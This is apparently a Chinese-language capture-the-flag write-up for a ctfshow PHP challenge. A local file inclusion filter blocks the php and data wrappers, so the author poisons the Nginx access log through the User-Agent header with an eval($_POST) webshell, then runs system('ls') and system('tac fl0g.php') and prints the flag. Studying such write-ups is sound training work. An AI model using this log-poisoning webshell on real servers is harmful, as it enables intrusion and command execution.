这是一道非常经典的 文件包含漏洞(LFI) 结合 日志注入(Log Injection) 的 Web 题目。我们可以看到代码将输入的php data :都经行了字符串替换为???对 php 和 data 伪协议进行了过滤,这封死了直接通过 php://filter 或 data:// 获取 Web Shell 的路径。
在这种情况下,日志包含 是最通用的 GetShell 手段
- 源码分析漏洞点:include($file) 存在明显的文件包含漏洞。
防御手段:使用了 str_replace 过滤了 php 和 data 关键字。这意味着你无法使用常用的封装协议(如 php://input)。
绕过思路:由于它没有过滤斜杠和敏感目录,我们可以尝试包含服务器系统日志。 - 核心思路:日志注入
Web 服务器(如 Nginx 或 Apache)会将每一个 HTTP 请求的信息记录在日志文件中。如果我们发送一个包含 PHP 代码的请求,这段代码就会被写入日志。当我们利用 include 包含该日志文件时,PHP 解释器会执行其中的代码。
步骤一:定位日志文件
你需要尝试常见的 Web 日志存放路径(通常在 Linux 下):
Nginx 日志:/var/log/nginx/access.log 或 /var/log/nginx/error.log
Apache 日志:/var/log/apache2/access.log 或 /etc/httpd/logs/access_log
验证方法:
在 URL 后面尝试访问:?file=/var/log/nginx/access.log。如果页面返回了大量的 HTTP 请求记录,说明路径正确。
发现是nginx文件并且日志内容存在与?file=/var/log/nginx/access.log目录下
打开hackbar添加user-agent 内容为:?php eval($_POST[1]);?>
在尝试访问日志目录下的文件内容
把url+?file=/var/log/nginx/access.log
并且开启post method在里面输入1=system(‘ls’);
发现了存在两个文件fl0g.php和 index.php我们尝试访问fl0g.php 文件
在body里输入1=system(‘tac fl0g.php’);
得到flag为:$flag="ctfshow{4d942eef-e113-43a5-b4d5-de587112182d}